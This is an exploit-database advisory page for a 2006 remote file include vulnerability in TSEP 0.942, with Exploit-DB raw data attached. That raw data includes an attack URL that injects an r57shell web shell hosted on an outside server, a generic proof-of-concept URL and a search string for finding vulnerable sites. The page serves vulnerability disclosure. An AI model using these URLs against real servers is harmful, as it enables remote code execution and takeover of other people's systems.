TSEP - exploit.company

vendor:

TSEP

by:

beford

7,5

CVSS

HIGH

Remote File Include

CWE

Product Name: TSEP

Affected Version From: 0.942

Affected Version To: 0.942

Patch Exists: Yes

Related CWE: N/A

CPE: a:tsep:tsep

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

TSEP <= 0.942

TSEP version 0.942 is vulnerable to Remote File Include vulnerability. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'tsep_config[absPath]' parameter of 'colorswitch.php', 'printpagedetails.php', 'ipfunctions.php', 'contentimages.class.php', 'configfunctions.php', and 'log.class.php' scripts. An attacker can exploit this vulnerability by sending a malicious URL in the 'tsep_config[absPath]' parameter of the vulnerable scripts. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of TSEP.

Source

Exploit-DB raw data:

Script: TSEP <= 0.942
URL:  www.tsep.info
Discovered: beford <xbefordx gmail com>
Comments: "register_globals" must be enabled duh.
document.this != http://www.milw0rm.com/exploits/2098
Vulnerable Files/Code:

./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void.ru/download/r57shell.txt?
./tsep.0942/include/printpagedetails.php => require_once(
$tsep_config["absPath"]."/include/convert_htmlent.php" );
./tsep.0942/include/ipfunctions.php => require_once(
$tsep_config["absPath"]."/include/IPv6.php" );
./tsep.0942/include/contentimages.class.php => require_once(
$tsep_config["absPath"]."/include/contentimages.class.php" );
./tsep.0942/include/configfunctions.php => require_once(
$tsep_config["absPath"]."/include/mmexfunctions.php" );
./tsep.0942/include/log.class.php => require_once(
$tsep_config["absPath"]."/include/tseptrace.php" );

Not-leet-enough: "Powered By TSEP"

POC:
http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/?

# milw0rm.com [2006-08-02]